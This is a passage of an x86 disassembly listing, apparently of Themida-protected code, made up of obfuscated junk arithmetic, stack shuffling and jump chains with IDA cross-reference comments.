; ---------------------------------------------------------------------------
loc_59AE78: ; CODE XREF: Themida_:0059D369j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A0776
; ---------------------------------------------------------------------------
loc_59AE8B: ; CODE XREF: Themida_:0059A701j
mov ebp, 1AD93F10h
jmp loc_5A2FDA
; ---------------------------------------------------------------------------
loc_59AE95: ; CODE XREF: Themida_:005A420Ej
xor al, dh
mov edx, [esp]
add esp, 4
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59AEAA: ; CODE XREF: Themida_:0059FCE8j
or eax, 2520C17h
sub eax, 70E01706h
not eax
jmp loc_59ABC3
; ---------------------------------------------------------------------------
loc_59AEBB: ; CODE XREF: Themida_:005921A9j
xchg esi, [esp]
jmp loc_59EA78
; ---------------------------------------------------------------------------
loc_59AEC3: ; CODE XREF: Themida_:0059A80Cj
push 2913h
jmp loc_59FB46
; ---------------------------------------------------------------------------
loc_59AECD: ; CODE XREF: Themida_:0059BF75j
mov ebp, [esp]
add esp, 4
jmp loc_59760C
; ---------------------------------------------------------------------------
loc_59AED8: ; CODE XREF: Themida_:005A4903j
pop dword ptr [esp]
not eax
xchg eax, [esp]
jmp loc_59033E
; ---------------------------------------------------------------------------
loc_59AEE5: ; CODE XREF: Themida_:00599A22j
mov [esp], ecx
push 26F5h
mov [esp], esi
mov esi, 43397A26h
push ecx
push eax
push 0FBC017Ah
pop eax
shr eax, 7
neg eax
add eax, 70C71278h
push esi
mov esi, 501B3B98h
dec esi
not esi
dec esi
xor esi, 2ED9393Bh
add esi, 32A31741h
sub eax, esi
pop esi
mov ecx, eax
pop eax
xor esi, ecx
jmp loc_592175
; ---------------------------------------------------------------------------
loc_59AF2A: ; CODE XREF: Themida_:00599870j
push esp
pop edx
push 38C3h
mov [esp], edi
push edx
push 32A4D4Dh
push dword ptr [esp]
pop edx
jmp loc_596817
; ---------------------------------------------------------------------------
loc_59AF43: ; CODE XREF: Themida_:00596566j
pop ebp
shl esi, 7
shr esi, 4
dec esi
jmp loc_593A51
; ---------------------------------------------------------------------------
loc_59AF50: ; CODE XREF: Themida_:0059F115j
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_59DA43
; ---------------------------------------------------------------------------
loc_59AF61: ; CODE XREF: Themida_:00595259j
sub esp, 4
mov [esp], ebx
push edi
mov edi, 253727F1h
jmp loc_59262B
; ---------------------------------------------------------------------------
loc_59AF75: ; CODE XREF: Themida_:005A2196j
pop eax
pop eax
jmp loc_5997D3
; ---------------------------------------------------------------------------
loc_59AF7C: ; CODE XREF: Themida_:005945AEj
and ebp, 7E58226Fh
xor ebp, 3A6872ABh
add eax, ebp
pop ebp
push ecx
mov ecx, 928AE248h
add eax, ecx
pop ecx
add edi, eax
pop eax
push edx
mov edx, 7C4C48B9h
sub edx, 7C4C48B7h
jmp loc_592A2E
; ---------------------------------------------------------------------------
loc_59AFA8: ; CODE XREF: Themida_:00597415j
mov esi, 4
add eax, esi
jmp loc_5A2239
; ---------------------------------------------------------------------------
loc_59AFB4: ; CODE XREF: Themida_:005A3B47j
mov [esp], eax
jmp loc_59EB5B
; ---------------------------------------------------------------------------
loc_59AFBC: ; CODE XREF: Themida_:00596DC5j
mov ebp, 57CF3AFDh
xor ebp, 104A4B73h
dec ebp
add ebp, 74BF5DCEh
or ebp, 72D37C94h
jmp loc_598D97
; ---------------------------------------------------------------------------
loc_59AFD9: ; CODE XREF: Themida_:0059601Dj
mov esp, [esp]
add esp, 4
push 3679h
mov [esp], esi
jmp loc_59FF2C
; ---------------------------------------------------------------------------
loc_59AFEF: ; CODE XREF: Themida_:0059F0EFj
mov edx, 51E8547Fh
and esi, edx
pop edx
jmp loc_590DC1
; ---------------------------------------------------------------------------
loc_59AFFC: ; CODE XREF: Themida_:005990BCj
mov ecx, [esp]
add esp, 4
push 6D2Ch
mov [esp], ebx
mov ebx, 4
jmp loc_59A871
; ---------------------------------------------------------------------------
loc_59B017: ; CODE XREF: Themida_:005964ECj
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
pop edi
push edx
mov edx, 2
sub esi, edx
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_5902C1
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
jmp loc_59ED86
; ---------------------------------------------------------------------------
loc_59B048: ; CODE XREF: Themida_:0059EC60j
and ecx, 57D2229Ah
add ecx, 6A63F57Ch
add esi, 3D481C33h
jmp loc_596BC6
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
sub esp, 4
mov [esp], edi
jmp loc_593117
; ---------------------------------------------------------------------------
loc_59B06E: ; CODE XREF: Themida_:0059F6B8j
xor eax, 6CC07D27h
not eax
inc eax
jmp loc_590D8D
; ---------------------------------------------------------------------------
loc_59B07B: ; CODE XREF: Themida_:0059FA7Ej
add ecx, 4
push edi
push ebp
mov ebp, 4CAC2A42h
sub ebp, 4CAC2A3Eh
jmp loc_59631D
; ---------------------------------------------------------------------------
loc_59B093: ; CODE XREF: Themida_:00593D3Bj
mov edx, 5E870550h
inc edx
shl edx, 3
shl edx, 3
xor edx, 0FE117C11h
jmp loc_5944B2
; ---------------------------------------------------------------------------
loc_59B0AA: ; CODE XREF: Themida_:00593C5Cj
add ebp, 4
xchg ebp, [esp]
jmp loc_595212
; ---------------------------------------------------------------------------
loc_59B0B5: ; CODE XREF: Themida_:0059F077j
pop eax
add ebx, 2CED0700h
push eax
mov eax, 4AD676DEh
and eax, 402C32E5h
not eax
inc eax
shl eax, 4
or eax, 2C5D4E9Ch
xor eax, 0D58EE9F9h
xor ebx, eax
pop eax
mov edx, ebx
mov ebx, [esp]
jmp loc_5A3349
; ---------------------------------------------------------------------------
loc_59B0E4: ; CODE XREF: Themida_:00597EC3j
inc ebx
sub ebx, 0FA962D2Dh
sub edx, ebx
mov ebx, [esp]
add esp, 4
add edx, esi
push ebx
mov ebx, 4C76ED5h
jmp loc_596624
; ---------------------------------------------------------------------------
loc_59B100: ; CODE XREF: Themida_:0059769Cj
add al, cl
mov ecx, [esp]
push edx
push esp
pop edx
push ebx
mov ebx, 4D26DEh
xor ebx, 4E0D6A22h
jmp loc_591342
; ---------------------------------------------------------------------------
loc_59B119: ; CODE XREF: Themida_:0059B534j
mov edx, 324D40DDh
add ebp, edx
pop edx
pop edx
dec ebp
push edx
mov edx, 1B653330h
add ebp, edx
pop edx
jmp loc_596CFC
; ---------------------------------------------------------------------------
loc_59B131: ; CODE XREF: Themida_:00592D8Ej
add esi, edx
pop edx
xchg esi, [esp]
mov esp, [esp]
pop ecx
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59B140: ; CODE XREF: Themida_:00594B6Aj
and ebp, 5F98717Fh
sub esp, 4
mov [esp], edi
mov edi, 7A3E45CDh
and ebp, edi
mov edi, [esp]
add esp, 4
add ebp, 0B7E7BEB8h
add edx, ebp
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
add esp, 4
push edi
sub esp, 4
mov [esp], eax
mov eax, 4
mov edi, eax
mov eax, [esp]
add esp, 4
jmp loc_59DA69
; ---------------------------------------------------------------------------
loc_59B18A: ; CODE XREF: Themida_:0059E8DBj
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_5A329A
; ---------------------------------------------------------------------------
loc_59B19A: ; CODE XREF: Themida_:0059367Aj
sub edi, 3D980118h
push ecx
mov ecx, 69485369h
add edi, ecx
mov ecx, [esp]
add esp, 4
sub edi, edx
sub edi, 69485369h
add edi, 3D980118h
pop edx
mov ecx, [esp]
add esp, 4
add eax, edi
jmp loc_59CF26
; ---------------------------------------------------------------------------
loc_59B1CD: ; CODE XREF: Themida_:0059D804j
sub ebp, 24BB5085h
jmp loc_5948B8
; ---------------------------------------------------------------------------
loc_59B1D8: ; CODE XREF: Themida_:005981B4j
push ecx
mov ch, dh
mov bl, ch
pop ecx
mov edx, [esp]
add esp, 4
pop ecx
push edx
jmp loc_5A0F2F
; ---------------------------------------------------------------------------
loc_59B1EE: ; CODE XREF: Themida_:0059FDB6j
mov ebx, 4
sub edx, 278C2C9Ah
add edx, ebx
add edx, 278C2C9Ah
mov ebx, [esp]
jmp loc_59C4C4
; ---------------------------------------------------------------------------
loc_59B209: ; CODE XREF: Themida_:005980CEj
xchg edi, [esp]
pop esp
jmp loc_59EAA8
; ---------------------------------------------------------------------------
loc_59B212: ; CODE XREF: Themida_:0059CEE9j
push dword ptr [esp+4]
jmp loc_59BDC2
; ---------------------------------------------------------------------------
loc_59B21B: ; CODE XREF: Themida_:005A09CAj
sub ebx, 139709D7h
push ecx
mov ecx, 6F653E2Ah
push ebp
jmp loc_59BF85
; ---------------------------------------------------------------------------
loc_59B22D: ; CODE XREF: Themida_:0059E802j
add ebx, 694505C2h
jmp loc_59F3D6
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_592789
; ---------------------------------------------------------------------------
loc_59B241: ; CODE XREF: Themida_:005A4383j
push eax
mov eax, 10520955h
push ecx
mov ecx, 7F250335h
dec ecx
jmp loc_59D87A
; ---------------------------------------------------------------------------
loc_59B253: ; CODE XREF: Themida_:005A0A66j
pop edx
push 63B4h
mov [esp], ebx
mov ebx, 6C6E09CDh
push edx
mov edx, 71F227E7h
and ebx, edx
pop edx
push 7B67h
mov [esp], eax
push ecx
mov ecx, 32C33B54h
mov eax, ecx
pop ecx
add ebx, 425D7224h
sub ebx, 46954D17h
sub ebx, eax
jmp loc_5978B3
; ---------------------------------------------------------------------------
loc_59B28E: ; CODE XREF: Themida_:005A0A6Cj
and ecx, 4462198Ch
push eax
mov eax, 311A5934h
jmp loc_5A00C6
; ---------------------------------------------------------------------------
loc_59B29F: ; CODE XREF: Themida_:005973B2j
push eax
mov eax, 4
jmp loc_595B75
; ---------------------------------------------------------------------------
loc_59B2AA: ; CODE XREF: Themida_:0059E66Bj
pop edi
push 6C2Ah
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5A11EC
; ---------------------------------------------------------------------------
loc_59B2C5: ; CODE XREF: Themida_:005982CFj
push 1AE3h
mov [esp], ebx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_5972EF
; ---------------------------------------------------------------------------
loc_59B2E1: ; CODE XREF: Themida_:005978E6j
push 7E7Bh
mov [esp], ebp
jmp loc_5943D8
; ---------------------------------------------------------------------------
loc_59B2EE: ; CODE XREF: Themida_:0059124Cj
or ebp, 4FDE6A0Ch
push esi
mov esi, 183D05C6h
and ebp, esi
pop esi
add ebp, 3AD76A14h
sub edi, ebp
pop ebp
jmp loc_5988AD
; ---------------------------------------------------------------------------
loc_59B30B: ; CODE XREF: Themida_:00590682j
mov eax, 4AE36B24h
xor [esp+4], eax
pop eax
pop ebx
xor ebx, 4AE36B24h
pop esi
mov esi, ebx
pop ebx
push esi
mov esi, 36DD7D6Ah
jmp loc_5A3863
; ---------------------------------------------------------------------------
loc_59B32B: ; CODE XREF: Themida_:005A2005j
xchg edx, [esp]
pop esp
add eax, 47096E9Bh
jmp loc_5935FD
; ---------------------------------------------------------------------------
loc_59B339: ; CODE XREF: Themida_:00597CEBj
push ebx
jmp loc_5A40E4
; ---------------------------------------------------------------------------
loc_59B33F: ; CODE XREF: Themida_:005A1EADj
mov ebx, 13565B19h
xor ebx, 5F2783FDh
add edi, ebx
pop ebx
add ebp, 30E446Bh
jmp loc_59C606
; ---------------------------------------------------------------------------
loc_59B358: ; CODE XREF: Themida_:00598368j
sub bh, 0Eh
add al, bh
pop ebx
jmp loc_59FFD3
; ---------------------------------------------------------------------------
loc_59B363: ; CODE XREF: Themida_:005999C2j
add esi, 17C54A47h
shl esi, 3
or esi, 0FC07FD3h
push edx
mov edx, 0F03C0011h
add esi, edx
jmp loc_59FA5E
; ---------------------------------------------------------------------------
loc_59B37F: ; CODE XREF: Themida_:00590535j
pop esp
jmp loc_598261
; ---------------------------------------------------------------------------
loc_59B385: ; CODE XREF: Themida_:0059E3EFj
sub esp, 4
mov [esp], eax
mov eax, 62341CE2h
sub ebx, 4E5B57DAh
add ebx, eax
add ebx, 4E5B57DAh
mov eax, [esp]
add esp, 4
push edx
jmp loc_5907D2
; ---------------------------------------------------------------------------
loc_59B3AD: ; CODE XREF: Themida_:00596544j
mov [esp], edi
mov edi, 25DC1E7Ch
add ebx, 61D111D0h
sub ebx, 3C237068h
add ebx, edi
jmp loc_59F2E1
; ---------------------------------------------------------------------------
loc_59B3C8: ; CODE XREF: Themida_:005A1E7Fj
push esp
pop ecx
sub esp, 4
mov [esp], ebp
jmp loc_59A7C3
; ---------------------------------------------------------------------------
loc_59B3D8: ; CODE XREF: Themida_:00592170j
mov [esp], esi
sub esp, 4
push esp
jmp loc_59F747
; ---------------------------------------------------------------------------
loc_59B3E7: ; CODE XREF: Themida_:0059C5BBj
push 7A4Bh
mov [esp], ebx
push 1162h
mov [esp], ebp
jmp loc_5A32C6
; ---------------------------------------------------------------------------
loc_59B3FC: ; CODE XREF: Themida_:0059F870j
pop ebp
push ecx
jmp loc_5A16B8
; ---------------------------------------------------------------------------
loc_59B403: ; CODE XREF: Themida_:00597786j
xor ecx, 22D156E1h
dec ecx
add ecx, 22163D6Bh
sub eax, ecx
mov ecx, [esp]
add esp, 4
sub eax, 733B4801h
sub eax, ebx
add eax, 733B4801h
add eax, 6F7F658Bh
jmp loc_59707C
; ---------------------------------------------------------------------------
loc_59B42E: ; CODE XREF: Themida_:0059F002j
or ecx, ebp
pop ebp
dec ecx
add ecx, 4B86F4Bh
add ecx, 0FD78A04Fh
mov ebx, ecx
jmp loc_5999E0
; ---------------------------------------------------------------------------
loc_59B445: ; CODE XREF: Themida_:005947DEj
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_59129F
; ---------------------------------------------------------------------------
loc_59B459: ; CODE XREF: Themida_:0059ED5Aj
pop esi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_5A12D5
; ---------------------------------------------------------------------------
loc_59B466: ; CODE XREF: Themida_:00590986j
push dword ptr [esp]
mov esi, [esp]
jmp loc_5A383C
; ---------------------------------------------------------------------------
loc_59B471: ; CODE XREF: Themida_:0059D3DEj
pop ebp
pop ebx
push edi
mov edi, 4A3D440Bh
add edx, edi
pop edi
jmp loc_59EA8E
; ---------------------------------------------------------------------------
loc_59B481: ; CODE XREF: Themida_:005979C4j
push esi
mov esi, 61444FECh
dec esi
not esi
xor esi, 7800E9B9h
jmp loc_5A46A4
; ---------------------------------------------------------------------------
loc_59B495: ; CODE XREF: Themida_:0059A977j
sub eax, 65E79B3h
add edx, 229A7DBFh
sub edx, eax
sub esp, 4
mov [esp], ebx
mov ebx, 229A7DBFh
sub edx, ebx
pop ebx
pop eax
xchg edx, [esp]
pop esp
mov [esp], eax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59B4BD: ; CODE XREF: Themida_:00599326j
mov esp, [esp]
jmp loc_59A618
; ---------------------------------------------------------------------------
loc_59B4C5: ; CODE XREF: Themida_:00593E75j
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
push esp
mov edx, [esp]
jmp loc_59E107
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59B4E7: ; CODE XREF: Themida_:005A4A95j
inc bl
add bl, 0D8h
add bl, 59h
jmp loc_59DD5E
; ---------------------------------------------------------------------------
loc_59B4F4: ; CODE XREF: Themida_:0059AD93j
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5933D5
; ---------------------------------------------------------------------------
loc_59B500: ; CODE XREF: Themida_:0059B7DEj
xor eax, ecx
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], ebp
mov ebp, 35516348h
sub esp, 4
mov [esp], edx
mov edx, 244069A4h
sub ebp, 324D40DDh
sub ebp, edx
push edx
jmp loc_59B119
; ---------------------------------------------------------------------------
loc_59B539: ; CODE XREF: Themida_:0059D777j
add esp, 4
push eax
pop ebx
pop eax
add ebx, 6ACC6239h
jmp loc_597425
; ---------------------------------------------------------------------------
loc_59B54A: ; CODE XREF: Themida_:0059A51Cj
sub ch, 45h
sub esp, 4
mov [esp], edx
mov dl, 0D4h
jmp loc_59055F
; ---------------------------------------------------------------------------
loc_59B55D: ; CODE XREF: Themida_:0059B683j
mov esi, 3D643C75h
add esi, 56BA1858h
and esi, 7095CAAh
shr esi, 6
add esi, 7B3B3A82h
push 3189h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push edi
push eax
mov eax, 61E40839h
jmp loc_593FD1
; ---------------------------------------------------------------------------
loc_59B593: ; CODE XREF: Themida_:00594C92j
mov esp, [esp]
push small 7D30h
mov [esp], bx
push edi
sub esp, 4
mov [esp], esi
jmp loc_59E4CC
; ---------------------------------------------------------------------------
loc_59B5AA: ; CODE XREF: Themida_:00599649j
sub esi, edx
pop edx
jmp loc_596E28
; ---------------------------------------------------------------------------
loc_59B5B2: ; CODE XREF: Themida_:005999A8j
neg ebp
shr ebp, 5
jmp loc_59F3DF
; ---------------------------------------------------------------------------
loc_59B5BC: ; CODE XREF: Themida_:005A3176j
push 75D512AFh
pop esi
shl esi, 4
dec esi
and esi, 5A2E4EACh
sub esi, 0E2CE73h
mov eax, esi
pop esi
xor eax, 12EF2F02h
sub ecx, eax
pop eax
sub ecx, edi
add ecx, 45F2133Bh
jmp loc_5A3514
; ---------------------------------------------------------------------------
loc_59B5EA: ; CODE XREF: Themida_:005A37A5j
push esi
jmp loc_5A177E
; ---------------------------------------------------------------------------
loc_59B5F0: ; CODE XREF: Themida_:0059468Cj
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
jmp loc_59D755
; ---------------------------------------------------------------------------
loc_59B60E: ; CODE XREF: Themida_:0059D494j
pop edx
jmp loc_5923E7
; ---------------------------------------------------------------------------
loc_59B614: ; CODE XREF: Themida_:00591362j
push ebp
mov ebp, 46DD6EC8h
and edx, ebp
pop ebp
shl edx, 7
dec edx
dec edx
add edx, 9148BC06h
mov eax, edx
jmp loc_594996
; ---------------------------------------------------------------------------
loc_59B62F: ; CODE XREF: Themida_:00596119j
sub edi, 6E010DD6h
mov ebp, [esp]
add esp, 4
push edi
pop ebx
pop edi
and eax, ebx
jmp loc_59F094
; ---------------------------------------------------------------------------
loc_59B648: ; CODE XREF: Themida_:00597468j
mov [esp], eax
push esi
push 28066A23h
pop esi
or esi, 9114A42h
jmp loc_59AA1F
; ---------------------------------------------------------------------------
loc_59B65D: ; CODE XREF: Themida_:005A23B6j
push ebp
jmp loc_5A27F2
; ---------------------------------------------------------------------------
loc_59B663: ; CODE XREF: Themida_:0059DA19j
xor [esp], ebp
xor ebp, [esp]
pop esp
imul cl
jmp loc_59C079
; ---------------------------------------------------------------------------
loc_59B671: ; CODE XREF: Themida_:0059570Ej
push eax
mov eax, 2
add ebx, eax
pop eax
jmp loc_599F01
; ---------------------------------------------------------------------------
loc_59B67F: ; CODE XREF: Themida_:005967DFj
pop esp
mov [esp], esi
jmp loc_59B55D
; ---------------------------------------------------------------------------
loc_59B688: ; CODE XREF: Themida_:00594272j
add esi, 4
jmp loc_59F473
; ---------------------------------------------------------------------------
loc_59B693: ; CODE XREF: Themida_:00592516j
push 0A59h
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
add esp, 4
push esi
mov esi, 4
add eax, 0A1E6306h
sub eax, 9285865h
jmp loc_590DB0
; ---------------------------------------------------------------------------
loc_59B6BE: ; CODE XREF: Themida_:0059C7EEj
add esp, 4
add edx, 4
sub edx, 4
push ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
jmp loc_592CBB
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
sub esp, 4
jmp loc_590F0D
; ---------------------------------------------------------------------------
loc_59B704: ; CODE XREF: Themida_:005A2CDDj
push esi
push ecx
mov ecx, 4
mov esi, ecx
jmp loc_59D9CD
; ---------------------------------------------------------------------------
loc_59B712: ; CODE XREF: Themida_:005A1ECAj
pop ecx
jmp loc_590B94
; ---------------------------------------------------------------------------
loc_59B718: ; CODE XREF: Themida_:00596B0Cj
pop edx
push esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A35BA
; ---------------------------------------------------------------------------
loc_59B72C: ; CODE XREF: Themida_:00595CFDj
add esi, 4
jmp loc_590EF3
; ---------------------------------------------------------------------------
loc_59B737: ; CODE XREF: Themida_:005912FDj
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_5A2C9F
; ---------------------------------------------------------------------------
loc_59B74A: ; CODE XREF: Themida_:005955EFj
push edx
dec dword ptr [esp]
jmp loc_5A09D6
; ---------------------------------------------------------------------------
loc_59B753: ; CODE XREF: Themida_:005A4BFCj
not dword ptr [esp]
pop eax
jmp loc_5978F6
; ---------------------------------------------------------------------------
loc_59B75C: ; CODE XREF: Themida_:00594135j
mov eax, esi
jmp loc_59FB5F
; ---------------------------------------------------------------------------
loc_59B763: ; CODE XREF: Themida_:00594051j
push edx
mov edx, 57034C5Fh
jmp loc_5913AD
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A0FBE
; ---------------------------------------------------------------------------
loc_59B777: ; CODE XREF: Themida_:00598700j
sub ebp, 67457446h
sub ebp, 1DBC2A52h
add ebp, ebx
jmp loc_592795
; ---------------------------------------------------------------------------
loc_59B78A: ; CODE XREF: Themida_:00592982j
mov esp, [esp]
push 2B19h
mov [esp], ebp
push eax
mov eax, esp
add eax, 4
push edx
mov edx, 4ACC08AAh
jmp loc_5995A6
; ---------------------------------------------------------------------------
loc_59B7A8: ; CODE XREF: Themida_:005A5126j
add bh, 64h
jmp loc_59D24B
; ---------------------------------------------------------------------------
loc_59B7B0: ; CODE XREF: Themida_:00596B04j
push edi
jmp loc_5A26D8
; ---------------------------------------------------------------------------
loc_59B7B6: ; CODE XREF: Themida_:005A14C4j
neg bl
push ecx
mov cl, 0D5h
add cl, 1
sub cl, 35h
not cl
jmp loc_59D961
; ---------------------------------------------------------------------------
loc_59B7C8: ; CODE XREF: Themida_:005995EEj
shr bh, 1
jmp loc_5A0919
; ---------------------------------------------------------------------------
loc_59B7CF: ; CODE XREF: Themida_:005910C4j
add esp, 4
mov edi, [esp]
add esp, 4
jmp loc_59B500
; ---------------------------------------------------------------------------
loc_59B7E3: ; CODE XREF: Themida_:00595274j
push ebx
mov ebx, esp
push eax
mov eax, 4
add ebx, eax
pop eax
add ebx, 4
xchg ebx, [esp]
jmp loc_597312
; ---------------------------------------------------------------------------
loc_59B7FA: ; CODE XREF: Themida_:005A1ADDj
and ecx, 7289659Bh
or ecx, 21025974h
not ecx
add ecx, 9A669F6Ch
jmp loc_5986BF
; ---------------------------------------------------------------------------
mov cx, [esp]
push 28AEh
mov [esp], edi
push 5239h
mov [esp], esp
push esi
jmp loc_5A0E4C
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push esp
pop edx
push 552h
mov [esp], eax
jmp loc_5977CA
; ---------------------------------------------------------------------------
loc_59B841: ; CODE XREF: Themida_:00593981j
add esi, edx
push dword ptr [esp]
pop edx
jmp loc_5917AE
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A04A5
; ---------------------------------------------------------------------------
loc_59B855: ; CODE XREF: Themida_:005916A4j
pop esp
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebp
push 25h
mov [esp], esp
jmp loc_59F869
; ---------------------------------------------------------------------------
loc_59B873: ; CODE XREF: Themida_:0059EB13j
add edi, ecx
jmp loc_59F84A
; ---------------------------------------------------------------------------
loc_59B87A: ; CODE XREF: Themida_:0059C2A7j
shr edx, 1
cmp eax, edx
jz loc_5A1927
sub esp, 4
mov [esp], eax
jmp loc_5A54B5
; ---------------------------------------------------------------------------
loc_59B892: ; CODE XREF: Themida_:00593B54j
push 6FC3h
mov [esp], esi
jmp loc_59D0AF
; ---------------------------------------------------------------------------
loc_59B89F: ; CODE XREF: Themida_:00598786j
add ebx, 0AA1E991Ah
jmp loc_5912B7
; ---------------------------------------------------------------------------
loc_59B8AA: ; CODE XREF: Themida_:00592E77j
pop ebp
jmp loc_5A225E
; ---------------------------------------------------------------------------
loc_59B8B0: ; CODE XREF: Themida_:00591D20j
mov ecx, esp
add ecx, 4
push 236h
mov [esp], eax
mov eax, 4
sub ecx, 632C5569h
add ecx, eax
add ecx, 632C5569h
pop eax
xchg ecx, [esp]
mov esp, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_59EDBF
; ---------------------------------------------------------------------------
loc_59B8E8: ; CODE XREF: Themida_:005A29B1j
mov edi, 462F558Bh
jmp loc_59DB39
; ---------------------------------------------------------------------------
loc_59B8F2: ; CODE XREF: Themida_:005A08A3j
mov [esp], edi
mov edi, 76F9552Eh
xor ecx, edi
pop edi
push 3F65h
jmp loc_594A53
; ---------------------------------------------------------------------------
loc_59B907: ; CODE XREF: Themida_:005987ABj
sub ebp, eax
add ebp, 5AA76262h
pop eax
add ebp, eax
jmp loc_590314
; ---------------------------------------------------------------------------
loc_59B917: ; CODE XREF: Themida_:0059BBEBj
neg edi
or edi, 5D346E3Dh
jmp loc_59D956
; ---------------------------------------------------------------------------
loc_59B924: ; CODE XREF: Themida_:00599729j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xor eax, 1B6163C9h
push esi
push 4869h
mov [esp], eax
pop esi
push 435Ch
mov [esp], esi
pop edx
mov esi, [esp]
add esp, 4
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_5A19D7
; ---------------------------------------------------------------------------
loc_59B96C: ; CODE XREF: Themida_:00599AA4j
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
sub esp, 4
mov [esp], eax
jmp loc_592C6E
; ---------------------------------------------------------------------------
loc_59B990: ; CODE XREF: Themida_:00595E34j
and edi, 1FC9575Bh
xor edi, 5BD34845h
jmp loc_5A559C
; ---------------------------------------------------------------------------
loc_59B9A1: ; CODE XREF: Themida_:00592744j
push ecx
not dword ptr [esp]
pop ecx
push ebx
mov ebx, 0C117461h
or ebx, 6CB84502h
not ebx
not ebx
dec ebx
xor ebx, 0BE480DEAh
add ecx, ebx
pop ebx
and ebp, ecx
pop ecx
jmp loc_594340
; ---------------------------------------------------------------------------
loc_59B9C8: ; CODE XREF: Themida_:0059D1C8j
sub esp, 2
mov [esp], dx
mov dl, 2Ah
sub cl, dl
pop dx
and cl, 0C3h
not cl
shl cl, 6
inc cl
push ebx
mov bl, 15h
and bl, 59h
sub bl, 0A3h
add cl, bl
pop ebx
jmp loc_597557
; ---------------------------------------------------------------------------
loc_59B9F0: ; CODE XREF: Themida_:0059C93Bj
mov esi, 0D0634BBh
dec esi
push ebx
mov ebx, 25DF2E38h
xor ebx, 4945351Dh
or esi, ebx
jmp loc_5A26AC
; ---------------------------------------------------------------------------
loc_59BA09: ; CODE XREF: Themida_:005A5053j
mov [esp], ecx
mov ecx, 21C71C90h
jmp loc_59F784
; ---------------------------------------------------------------------------
loc_59BA16: ; CODE XREF: Themida_:0059682Aj
mov ecx, [esp]
add esp, 4
jmp loc_599B89
; ---------------------------------------------------------------------------
loc_59BA21: ; CODE XREF: Themida_:005979D6j
mov dh, ch
mov ah, dh
mov edx, [esp]
jmp loc_598340
; ---------------------------------------------------------------------------
loc_59BA2D: ; CODE XREF: Themida_:00593FB0j
xor eax, 6788271Dh
jmp loc_5A4DFE
; ---------------------------------------------------------------------------
loc_59BA37: ; CODE XREF: Themida_:005A2CB9j
sub ebx, 4E84640h
pop ecx
sub esp, 4
mov [esp], esi
sub esp, 4
jmp loc_59FB95
; ---------------------------------------------------------------------------
loc_59BA4F: ; CODE XREF: Themida_:005929A8j
pop edx
add ch, bl
pop ebx
push 5A1h
mov [esp], edx
jmp loc_5938AB
; ---------------------------------------------------------------------------
loc_59BA60: ; CODE XREF: Themida_:00598EAAj
mov eax, [esp]
jmp loc_597D81
; ---------------------------------------------------------------------------
loc_59BA68: ; CODE XREF: Themida_:0059E641j
sub edi, esi
pop esi
mov esi, edi
pop edi
add ebp, esi
mov esi, [esp]
add esp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push dword ptr [edi+eax*4]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_592A0C
; ---------------------------------------------------------------------------
loc_59BAA8: ; CODE XREF: Themida_:00594D10j
push ebp
mov ebp, 62AB536Ch
sub ebp, 62AB5368h
push ebx
mov ebx, ebp
mov esi, ebx
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5A404A
; ---------------------------------------------------------------------------
loc_59BAD0: ; CODE XREF: Themida_:005A0718j
not ch
push edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
mov bl, ch
mov dh, bl
mov ebx, [esp]
add esp, 4
jmp loc_5A3708
; ---------------------------------------------------------------------------
loc_59BAF8: ; CODE XREF: Themida_:005A2C1Bj
add esp, 4
sub ecx, esi
push dword ptr [esp]
jmp loc_590F6A
